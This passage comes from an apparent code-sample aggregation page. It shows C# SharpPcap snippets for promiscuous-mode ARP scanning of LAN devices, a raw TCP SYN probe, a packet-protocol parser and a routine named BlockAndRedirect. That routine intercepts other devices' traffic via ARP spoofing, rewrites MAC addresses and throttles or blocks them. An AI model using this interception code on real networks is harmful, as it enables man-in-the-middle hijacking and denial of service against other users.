            capturedevice = (from devicex in capturedevicelist where ((NpcapDevice)devicex).Interface.FriendlyName == InterfaceFriendlyName select devicex).ToList()[0];
            //open device in promiscuous mode with 1000ms timeout
            capturedevice.Open(DeviceMode.Promiscuous, 1000);
            //Arp filter
            capturedevice.Filter = "arp";

            IPAddress myipaddress = AppConfiguration.LocalIp;

            //Probe for active devices on the network
            if (DiscoveryTimer == null)
            {
                StartDescoveryTimer();
            }

            #region Retrieving ARP packets floating around and find out the sender's IP and MAC

            //Scan duration
            long       scanduration = 8000;
            RawCapture rawcapture   = null;

            //Main scanning task
            ScannerTask = Task.Run(() =>
            {
                try
                {
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
                    {
                        Packet packet       = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
                        ArpPacket ArpPacket = packet.Extract <ArpPacket>();
                        if (!ClientList.ContainsKey(ArpPacket.SenderProtocolAddress) && ArpPacket.SenderProtocolAddress.ToString() != "0.0.0.0" && Tools.AreCompatibleIPs(ArpPacket.SenderProtocolAddress, myipaddress, AppConfiguration.NetworkSize))
                        {
                            ClientList.Add(ArpPacket.SenderProtocolAddress, ArpPacket.SenderHardwareAddress);

                            string mac = Tools.GetMACString(ArpPacket.SenderHardwareAddress);
                            string ip  = ArpPacket.SenderProtocolAddress.ToString();
                            var device = new Device
                            {
                                IP           = ArpPacket.SenderProtocolAddress,
                                MAC          = PhysicalAddress.Parse(mac.Replace(":", "")),
                                DeviceName   = "Resolving",
                                ManName      = "Getting information...",
                                DeviceStatus = "Online"
                            };

                            //Add device to UI list
                            view.ListView1.BeginInvoke(new Action(() => { view.ListView1.AddObject(device); }));

                            //Add device to main device list
                            _ = Main.Devices.TryAdd(ArpPacket.SenderProtocolAddress, device);

                            //Get hostname and mac vendor for the current device
                            _ = Task.Run(async() =>
                            {
                                try
                                {
                                    #region Get Hostname

                                    IPHostEntry hostEntry = await Dns.GetHostEntryAsync(ip);
                                    device.DeviceName     = hostEntry?.HostName ?? ip;

                                    #endregion

                                    #region Get MacVendor

                                    var Name       = VendorAPI.GetVendorInfo(mac);
                                    device.ManName = (Name is null) ? "" : Name.data.organization_name;

                                    #endregion

                                    view.ListView1.BeginInvoke(new Action(() => { view.ListView1.UpdateObject(device); }));
                                }
                                catch (Exception ex)
                                {
                                    try
                                    {
                                        if (ex is SocketException)
                                        {
                                            var Name       = VendorAPI.GetVendorInfo(mac);
                                            device.ManName = (Name is null) ? "" : Name.data.organization_name;

                                            view.ListView1.BeginInvoke(new Action(() =>
                                            {
                                                device.DeviceName = ip;
                                                view.ListView1.UpdateObject(device);
                                            }));
                                        }
                                        else
                                        {
                                            view.MainForm.BeginInvoke(
                                                new Action(() =>
                                            {
                                                device.DeviceName = ip;
                                                device.ManName    = "Error";
                                                view.ListView1.UpdateObject(device);
                                            }));
                                        }
                                    }
                                    catch
                                    {
                                    }
                                }
                            });
                        }

                        int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);

                        view.MainForm.BeginInvoke(new Action(() => view.StatusLabel.Text = "Scanning " + percentageprogress + "%"));
                    }

                    stopwatch.Stop();
                    view.MainForm.BeginInvoke(new Action(() => view.StatusLabel.Text = ClientList.Count.ToString() + " device(s) found"));

                    //Initial scanning is over now we start the background scan.
                    Main.OperationIsInProgress = false;

                    //Start passive monitoring
                    BackgroundScanStart(view);
                }
                catch
                {
                    //Show an error in the UI in case something went wrong
                    try
                    {
                        view.MainForm.BeginInvoke(new Action(() =>
                        {
                            view.StatusLabel.Text = "Error occurred";
                            view.PictureBox.Image = Properties.Resources.color_error;
                        }));
                    }
                    catch { } //Swallow exception when the user closes the app during the scan operation
                }
            });

            #endregion
        }
예제 #25
0
파일: Form1.cs 프로젝트: andreidana/NETOld
        private int SendSynPacket(TcpPacket tcp)
        {
            tcp.SequenceNumber = 0;       //A TCP Sync Packet will always have a destination address of 0
            tcp.CWR = false;
            tcp.ECN = false;
            tcp.Urg = false;
            tcp.Ack = false;
            tcp.Psh = false;
            tcp.Rst = false;
            tcp.Syn = true;
            tcp.Fin = false;

            device = devices[1];

            device.Open(DeviceMode.Promiscuous, 20);

            device.SendPacket(tcp);

            device.OnPacketArrival += new SharpPcap.PacketArrivalEventHandler(device_OnPacketArrival);
            //device.StartCapture();

            RawCapture nexttcp = device.GetNextPacket();

            //device.StopCapture();

            if (nexttcp != null)
            {
                var packet = PacketDotNet.Packet.ParsePacket(nexttcp.LinkLayerType, nexttcp.Data);

                TcpPacket tcp1 = TcpPacket.GetEncapsulated(packet);

                if ((tcp1 != null) && (tcp1.Syn == true) && (tcp1.Ack == true))
                {
                    return 1;
                }
                else
                {
                    return 0;
                }
            }
            else
            {
                return 0;
            }
            device.Close();
        }
예제 #26
0
        /// <summary>
        /// Populates listview with machines connected to the LAN
        /// </summary>
        /// <param name="view"></param>
        /// <param name="interfacefriendlyname"></param>
        public static void GetAllClients(IView view, string interfacefriendlyname)
        {
            DebugOutputClass.Print(view, "Refresh client list");
            #region initialization
            view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Please wait..."));
            view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
            if (capturedevice != null)
            {
                try
                {
                    capturedevice.StopCapture(); //stop previous capture
                    capturedevice.Close();       //close previous instances
                }
                catch (PcapException ex)
                {
                    DebugOutputClass.Print(view, "Exception at GetAllClients while trying to capturedevice.StopCapture() or capturedevice.Close() [" + ex.Message + "]");
                }
            }
            clientlist = new Dictionary <IPAddress, PhysicalAddress>(); //this is preventing redundant entries into listview and for counting total clients
            view.ListView1.Items.Clear();
            #endregion

            CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
            capturedevicelist.Refresh();                                                                          //crucial for reflection of any network changes
            capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
            capturedevice.Open(DeviceMode.Promiscuous, 1000);                                                     //open device with 1000ms timeout
            IPAddress myipaddress = ((SharpPcap.WinPcap.WinPcapDevice)capturedevice).Addresses[1].Addr.ipAddress; //possible critical point : Addresses[1] in hardcoding the index for obtaining ipv4 address

            #region Sending ARP requests to probe for all possible IP addresses on LAN
            new Thread(() =>
            {
                try
                {
                    for (int ipindex = 1; ipindex <= 255; ipindex++)
                    {
                        ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(GetRootIp(myipaddress) + ipindex), capturedevice.MacAddress, myipaddress);
                        EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                        ethernetpacket.PayloadPacket  = arprequestpacket;
                        capturedevice.SendPacket(ethernetpacket);
                    }
                }
                catch (Exception ex)
                {
                    DebugOutputClass.Print(view, "Exception at GetClientList.GetAllClients() inside new Thread(()=>{}) while sending packets probably because old thread was still running while capturedevice was closed due to subsequent refresh [" + ex.Message + "]");
                }
            }).Start();
            #endregion

            #region Retrieving ARP packets floating around and finding out the senders' IP and MACs
            capturedevice.Filter = "arp";
            RawCapture rawcapture   = null;
            long       scanduration = 5000;
            new Thread(() =>
            {
                try
                {
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
                    {
                        Packet packet       = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
                        ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
                        if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress))
                        {
                            clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                            view.ListView1.Invoke(new Action(() =>
                            {
                                view.ListView1.Items.Add(new ListViewItem(new string[] { clientlist.Count.ToString(), arppacket.SenderProtocolAddress.ToString(), GetMACString(arppacket.SenderHardwareAddress), "On", ApplicationSettingsClass.GetSavedClientNameFromMAC(GetMACString(arppacket.SenderHardwareAddress)) }));
                            }));
                            //Debug.Print("{0} @ {1}", arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                        }
                        int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);
                        view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Scanning " + percentageprogress + "%"));
                        view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = percentageprogress));
                        //Debug.Print(packet.ToString() + "\n");
                    }
                    stopwatch.Stop();
                    view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = clientlist.Count.ToString() + " device(s) found"));
                    view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 100));
                    BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
                }
                catch (PcapException ex)
                {
                    DebugOutputClass.Print(view, "PcapException @ GetClientList.GetAllClients() @ new Thread(()=>{}) while retrieving packets [" + ex.Message + "]");
                    view.MainForm.Invoke(new Action(() => view.ToolStripStatusScan.Text       = "Refresh for scan"));
                    view.MainForm.Invoke(new Action(() => view.ToolStripProgressBarScan.Value = 0));
                }
                catch (Exception ex)
                {
                    DebugOutputClass.Print(view, ex.Message);
                }
            }).Start();
            #endregion
        }
예제 #27
0
        public static void GetAllClients(IView view, string interfacefriendlyname)
        {
            #region initialization
            if (capturedevice != null)
            {
                try
                {
                    capturedevice.StopCapture(); //stop previous capture
                    capturedevice.Close();       //close previous instances
                    StopFlag      = true;
                    GatewayCalled = false;
                    capturedevice.OnPacketArrival += null;
                    Main.checkboxcanbeclicked      = false;
                    StopTheLoadingBar(view);
                }
                catch (PcapException)
                {
                }
            }
            clientlist = new Dictionary <IPAddress, PhysicalAddress>();

            #endregion

            CaptureDeviceList capturedevicelist = CaptureDeviceList.Instance;
            capturedevicelist.Refresh();                      //crucial for reflection of any network changes
            capturedevice = (from devicex in capturedevicelist where ((SharpPcap.WinPcap.WinPcapDevice)devicex).Interface.FriendlyName == interfacefriendlyname select devicex).ToList()[0];
            capturedevice.Open(DeviceMode.Promiscuous, 1000); //open device with 1000ms timeout
            capturedevice.Filter = "arp";
            IPAddress myipaddress = IPAddress.Parse(NetStalker.Properties.Settings.Default.localip);

            Size = NetStalker.Properties.Settings.Default.NetSize;
            var Root = GetRoot(myipaddress, Size);
            if (string.IsNullOrEmpty(Root))
            {
                try
                {
                    view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Network Error"));
                    return;
                }
                catch (Exception)
                {
                }
            }

            #region Sending ARP requests to probe for all possible IP addresses on LAN
            new Thread(() =>
            {
                try
                {
                    if (Size == 1)
                    {
                        for (int ipindex = 1; ipindex <= 255; ipindex++)
                        {
                            ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + ipindex), capturedevice.MacAddress, myipaddress);
                            EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                            ethernetpacket.PayloadPacket  = arprequestpacket;
                            capturedevice.SendPacket(ethernetpacket);
                        }
                    }

                    else if (Size == 2)
                    {
                        for (int i = 1; i <= 255; i++)
                        {
                            for (int j = 1; j <= 255; j++)
                            {
                                ARPPacket arprequestpacket    = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), IPAddress.Parse(Root + i + '.' + j), capturedevice.MacAddress, myipaddress);
                                EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                ethernetpacket.PayloadPacket  = arprequestpacket;
                                capturedevice.SendPacket(ethernetpacket);
                                if (!GatewayCalled)
                                {
                                    ARPPacket ArpForGateway        = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress);//???
                                    EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                    EtherForGateway.PayloadPacket  = ArpForGateway;
                                    capturedevice.SendPacket(EtherForGateway);
                                    GatewayCalled = true;
                                }
                            }
                        }
                    }

                    else if (Size == 3)
                    {
                        if (MetroMessageBox.Show(view.MainForm,
                                                 "The network you're scanning is very large, it will take approximately 20 hours before the scanner can find all the devices, proceed?",
                                                 "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes)
                        {
                            for (int i = 1; i <= 255; i++)
                            {
                                for (int j = 1; j <= 255; j++)
                                {
                                    for (int k = 1; k <= 255; k++)
                                    {
                                        ARPPacket arprequestpacket = new ARPPacket(ARPOperation.Request,
                                                                                   PhysicalAddress.Parse("00-00-00-00-00-00"),
                                                                                   IPAddress.Parse(Root + i + '.' + j + '.' + k), capturedevice.MacAddress,
                                                                                   myipaddress);
                                        EthernetPacket ethernetpacket = new EthernetPacket(capturedevice.MacAddress,
                                                                                           PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);
                                        ethernetpacket.PayloadPacket = arprequestpacket;
                                        capturedevice.SendPacket(ethernetpacket);
                                        if (!GatewayCalled)
                                        {
                                            ARPPacket ArpForGateway        = new ARPPacket(ARPOperation.Request, PhysicalAddress.Parse("00-00-00-00-00-00"), GatewayIP, capturedevice.MacAddress, myipaddress); //???
                                            EthernetPacket EtherForGateway = new EthernetPacket(capturedevice.MacAddress, PhysicalAddress.Parse("FF-FF-FF-FF-FF-FF"), EthernetPacketType.Arp);                  //???
                                            EtherForGateway.PayloadPacket  = ArpForGateway;
                                            capturedevice.SendPacket(EtherForGateway);
                                            GatewayCalled = true;
                                        }
                                    }
                                }
                            }
                        }
                        else
                        {
                            return;
                        }
                    }
                }
                catch (Exception)
                {
                }
            }).Start();
            #endregion

            #region Retrieving ARP packets floating around and finding out the senders' IP and MACs
            capturedevice.Filter = "arp";
            RawCapture rawcapture   = null;
            long       scanduration = 8000;
            new Thread(() =>
            {
                try
                {
                    Stopwatch stopwatch = new Stopwatch();
                    stopwatch.Start();
                    while ((rawcapture = capturedevice.GetNextPacket()) != null && stopwatch.ElapsedMilliseconds <= scanduration)
                    {
                        Packet packet       = Packet.ParsePacket(rawcapture.LinkLayerType, rawcapture.Data);
                        ARPPacket arppacket = (ARPPacket)packet.Extract(typeof(ARPPacket));
                        if (!clientlist.ContainsKey(arppacket.SenderProtocolAddress) && arppacket.SenderProtocolAddress.ToString() != "0.0.0.0" && areCompatibleIPs(arppacket.SenderProtocolAddress, myipaddress, Size))
                        {
                            clientlist.Add(arppacket.SenderProtocolAddress, arppacket.SenderHardwareAddress);
                            view.ListView1.Invoke(new Action(() =>
                            {
                                string mac = GetMACString(arppacket.SenderHardwareAddress);
                                int id     = clientlist.Count - 1;
                                string ip  = arppacket.SenderProtocolAddress.ToString();
                                var obj    = new Device();
                                new Thread(() =>
                                {
                                    try
                                    {
                                        ipp = ip;

                                        IPHostEntry hostEntry = Dns.GetHostEntry(ip);

                                        view.ListView1.BeginInvoke(new Action(() =>
                                        {
                                            obj.DeviceName = hostEntry.HostName;
                                            view.ListView1.UpdateObject(obj);
                                        }));
                                    }
                                    catch (Exception)
                                    {
                                        try
                                        {
                                            view.ListView1.BeginInvoke(new Action(() =>
                                            {
                                                obj.DeviceName = ip;
                                                view.ListView1.UpdateObject(obj);
                                            }));
                                        }
                                        catch (Exception)
                                        {
                                        }
                                    }
                                }).Start();

                                new Thread(() =>
                                {
                                    try
                                    {
                                        var Name = VendorAPI.GetVendorInfo(mac);
                                        if (Name != null)
                                        {
                                            obj.ManName = Name.data.organization_name;
                                        }
                                        else
                                        {
                                            obj.ManName = "";
                                        }
                                        view.ListView1.UpdateObject(obj);
                                    }
                                    catch (Exception)
                                    {
                                    }
                                }).Start();

                                obj.IP           = arppacket.SenderProtocolAddress;
                                obj.MAC          = PhysicalAddress.Parse(mac.Replace(":", ""));
                                obj.DeviceName   = "Resolving";
                                obj.ManName      = "Getting information...";
                                obj.DeviceStatus = "Online";
                                view.ListView1.AddObject(obj);
                            }));
                        }
                        int percentageprogress = (int)((float)stopwatch.ElapsedMilliseconds / scanduration * 100);

                        view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Scanning " + percentageprogress + "%"));
                    }
                    stopwatch.Stop();
                    Main.operationinprogress = false;
                    view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = clientlist.Count.ToString() + " device(s) found"));
                    capturedevice.Close();
                    capturedevice = null;
                    BackgroundScanStart(view, interfacefriendlyname); //start passive monitoring
                }
                catch (Exception)
                {
                    try
                    {
                        view.MainForm.Invoke(new Action(() => view.StatusLabel.Text = "Error occurred"));
                    }
                    catch (Exception)
                    {
                    }
                }
            }).Start();
            #endregion
        }
예제 #28
0
        private ICaptureDevice HandlPacket(ICaptureDevice device)
        {
            RawCapture rawCapture = null;
            Controller control    = Controller.getInstance();
            var        number     = 0;

            while ((number != numberOfProtocols))
            {
                rawCapture = device.GetNextPacket();

                //Count the time
                if (rawCapture == null)
                {
                    break;
                }
                ++number;
                var time = rawCapture.Timeval.Date;
                startTime = (isParse ? startTime : time);
                isParse   = true;
                TimeSpan istime = time - startTime;
                var      len    = rawCapture.Data.Length;

                //Open containter LightInject
                var    container = Registor.getInstance().Get();
                Packet packet    = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);
                var    udpPacket = packet.Extract <UdpPacket>();
                if (udpPacket != null)
                {
                    var udp = container.GetInstance <IProtocol>("UDP");
                    control.Add(udp.Parsing(packet, istime, len));
                    continue;
                }

                var tcpPacket = packet.Extract <TcpPacket>();
                if (tcpPacket != null)
                {
                    if (Encoding.UTF8.GetString(tcpPacket.PayloadData).IndexOf("HTTP/1.1") >= 0)
                    {
                        var http = container.GetInstance <IProtocol>("HTTP");
                        control.Add(http.Parsing(tcpPacket, istime, len));
                        continue;
                    }
                    var tcp = container.GetInstance <IProtocol>("TCP");
                    control.Add(tcp.Parsing(tcpPacket, istime, len));
                    continue;
                }
                var icmpPacketv6 = packet.Extract <PacketDotNet.IcmpV6Packet>();
                var icmpPacket   = packet.Extract <IcmpV4Packet>();
                if (icmpPacket != null || icmpPacketv6 != null)
                {
                    var icmp = container.GetInstance <IProtocol>("ICMP");
                    control.Add(icmp.Parsing(packet, istime, len));
                    continue;
                }

                var ethernetPacket = packet.Extract <EthernetPacket>();
                if (ethernetPacket != null)
                {
                    var ethernet = container.GetInstance <IProtocol>("Ethernet");
                    control.Add(ethernet.Parsing(ethernetPacket, istime, len));
                    continue;
                }
            }
            return(device);
        }
예제 #29
0
        /// <summary>
        /// This is the main method for blocking and redirection of targeted devices.
        /// </summary>
        public static void BlockAndRedirect()
        {
            if (!BRMainSwitch)
            {
                throw new InvalidOperationException("\"BRMainSwitch\" must be set to \"True\" in order to activate the BR");
            }

            if (string.IsNullOrEmpty(Properties.Settings.Default.GatewayMac))
            {
                Properties.Settings.Default.GatewayMac = Main.Devices.Where(d => d.Key.Equals(AppConfiguration.GatewayIp)).Select(d => d.Value.MAC).FirstOrDefault().ToString();
                Properties.Settings.Default.Save();
            }

            if (MainDevice == null)
            {
                MainDevice = CaptureDeviceList.New()[AppConfiguration.AdapterName];
            }

            MainDevice.Open(DeviceMode.Promiscuous, 1000);
            MainDevice.Filter = "ip";

            BRTask = Task.Run(() =>
            {
                RawCapture rawCapture;
                EthernetPacket packet;

                while (BRMainSwitch)
                {
                    if ((rawCapture = MainDevice.GetNextPacket()) != null)
                    {
                        packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data) as EthernetPacket;
                        if (packet == null)
                        {
                            continue;
                        }

                        Device device;

                        if ((device = Main.Devices.FirstOrDefault(D => D.Value.MAC.Equals(packet.SourceHardwareAddress)).Value) != null && device.Redirected && !device.IsLocalDevice && !device.IsGateway)
                        {
                            if (device.UploadCap == 0 || device.UploadCap > device.PacketsSentSinceLastReset)
                            {
                                packet.SourceHardwareAddress      = MainDevice.MacAddress;
                                packet.DestinationHardwareAddress = AppConfiguration.GatewayMac;
                                MainDevice.SendPacket(packet);
                                device.PacketsSentSinceLastReset += packet.Bytes.Length;
                            }
                        }
                        else if (packet.SourceHardwareAddress.Equals(AppConfiguration.GatewayMac))
                        {
                            IPv4Packet IPV4 = packet.Extract <IPv4Packet>();

                            if (Main.Devices.TryGetValue(IPV4.DestinationAddress, out device) && device.Redirected && !device.IsLocalDevice && !device.IsGateway)
                            {
                                if (device.DownloadCap == 0 || device.DownloadCap > device.PacketsReceivedSinceLastReset)
                                {
                                    packet.SourceHardwareAddress      = MainDevice.MacAddress;
                                    packet.DestinationHardwareAddress = device.MAC;
                                    MainDevice.SendPacket(packet);
                                    device.PacketsReceivedSinceLastReset += packet.Bytes.Length;
                                }
                            }
                        }
                    }

                    SpoofClients();
                }
            });
        }